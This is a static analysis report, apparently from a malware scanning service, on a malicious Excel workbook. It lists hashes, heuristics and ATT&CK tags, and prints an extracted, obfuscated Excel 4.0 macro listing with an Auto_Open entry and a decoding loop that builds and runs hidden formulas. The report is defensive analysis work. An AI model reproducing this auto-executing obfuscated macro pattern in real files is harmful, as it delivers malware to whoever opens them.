Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db91bff98468e8aa…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:37:39 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 8fa9cf6f734a7e239ff8f814df16dc2e SHA-1: 6224cee21336687d95f22b437d22120726282b9d SHA-256: db91bff98468e8aa6bf05c5e7174553512a2f2e4135b96b5da7ee6e0dc1a30b7
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential malicious execution. The presence of dangerous formula APIs within the XLM macro further supports this. The macro is designed to execute arbitrary code upon opening the document, likely leading to further compromise.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6874 bytes
SHA-256: d9e8d0529a778cf7cfb5c5ec9cc00d1b312ccce104d2c9570d14f2af1f8a42b4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qNHGnxIgMa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H148 
' 0018     24 LABEL : Cell Value, String Constant - DnBIPMUMd len=0 
' 0018     21 LABEL : Cell Value, String Constant - EKlOue len=0 
' 0018     27 LABEL : Cell Value, String Constant - fIJtGIROyaID len=0 
' 0018     23 LABEL : Cell Value, String Constant - FlNiRYuF len=0 
' 0018     26 LABEL : Cell Value, String Constant - gcjFYNbHOuf len=0 
' 0018     22 LABEL : Cell Value, String Constant - gCSeFFR len=0 
' 0018     21 LABEL : Cell Value, String Constant - HFEYXS len=0 
' 0018     27 LABEL : Cell Value, String Constant - mPGCXgsdXLIT len=0 
' 0018     27 LABEL : Cell Value, String Constant - MxpvAsLgHBzE len=0 
' 0018     21 LABEL : Cell Value, String Constant - nnjwWK len=0 
' 0018     25 LABEL : Cell Value, String Constant - ochBaBGXGp len=0 
' 0018     22 LABEL : Cell Value, String Constant - pVSkCkd len=0 
' 0018     20 LABEL : Cell Value, String Constant - pyEEr len=0 
' 0018     24 LABEL : Cell Value, String Constant - svhvBtnJX len=0 
' 0018     21 LABEL : Cell Value, String Constant - sxfkmn len=0 
' 0018     26 LABEL : Cell Value, String Constant - vBuqirhqJZJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - vQpnmhWW len=0 
' 0018     25 LABEL : Cell Value, String Constant - VveKLVyuma len=0 
' 0018     22 LABEL : Cell Value, String Constant - wUOuyrC len=0 
' 0018     20 LABEL : Cell Value, String Constant - XUAXo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qNHGnxIgMa,P43,"",363.00000000000000000000
'  qNHGnxIgMa,P44,"",-617.00000000000000000000
'  qNHGnxIgMa,P45,"",-389.00000000000000000000
'  qNHGnxIgMa,P46,"",-578.00000000000000000000
'  qNHGnxIgMa,P47,"",-1.00000000000000000000
'  qNHGnxIgMa,P48,"",-757.00000000000000000000
'  qNHGnxIgMa,H58,"SET.NAME("gCSeFFR",0+VALUE("0"))",""
'  qNHGnxIgMa,H61,"SET.NAME("MxpvAsLgHBzE",gCSeFFR)",""
'  qNHGnxIgMa,H64,"SET.NAME("vBuqirhqJZJ",gCSeFFR)",""
'  qNHGnxIgMa,H67,"SET.NAME("ochBaBGXGp",COUNTA(XUAXo))",""
'  qNHGnxIgMa,H70,"SET.NAME("svhvBtnJX",COUNTA(wUOuyrC))",""
'  qNHGnxIgMa,H72,[],""
'  qNHGnxIgMa,H76,"SET.NAME("DnBIPMUMd","")",""
'  qNHGnxIgMa,H81,"MxpvAsLgHBzE",""
'  qNHGnxIgMa,H84,"SET.NAME("mPGCXgsdXLIT",HLOOKUP("*",XUAXo,MxpvAsLgHBzE,FALSE))",""
'  qNHGnxIgMa,H89,"VveKLVyuma",""
'  qNHGnxIgMa,H92,"SET.NAME("vQpnmhWW",gCSeFFR)",""
'  qNHGnxIgMa,H94,[],""
'  qNHGnxIgMa,H98,"vQpnmhWW",""
'  qNHGnxIgMa,H101,"nnjwWK",""
'  qNHGnxIgMa,H105,"fIJtGIROyaID",""
'  qNHGnxIgMa,H109,"pVSkCkd",""
'  qNHGnxIgMa,H113,"SET.NAME("EKlOue",VALUE(HLOOKUP("*",wUOuyrC,pVSkCkd,FALSE)))",""
'  qNHGnxIgMa,H117,"pyEEr",""
'  qNHGnxIgMa,H119,"DnBIPMUMd",""
'  qNHGnxIgMa,H121,"vBuqirhqJZJ",""
'  qNHGnxIgMa,H126,NEXT(),""
'  qNHGnxIgMa,H130,"sxfkmn",""
'  qNHGnxIgMa,H135,[],""
'  qNHGnxIgMa,H140,"gcjFYNbHOuf",""
'  qNHGnxIgMa,H142,NEXT(),""
'  qNHGnxIgMa,H144,RETURN(),""
'  qNHGnxIgMa,H174,"SET.NAME("FlNiRYuF",H58)",""
'  qNHGnxIgMa,H176,"XUAXo",""
'  qNHGnxIgMa,H181,"SET.NAME("wUOuyrC",R51C13)",""
'  qNHGnxIgMa,H185,"SET.NAME("gcjFYNbHOuf",190)",""
'  qNHGnxIgMa,H187,"SET.NAME("HFEYXS",8)",""
'  qNHGnxIgMa,H189,FlNiRYuF(),""
'  qNHGnxIgMa,H190,HALT(),""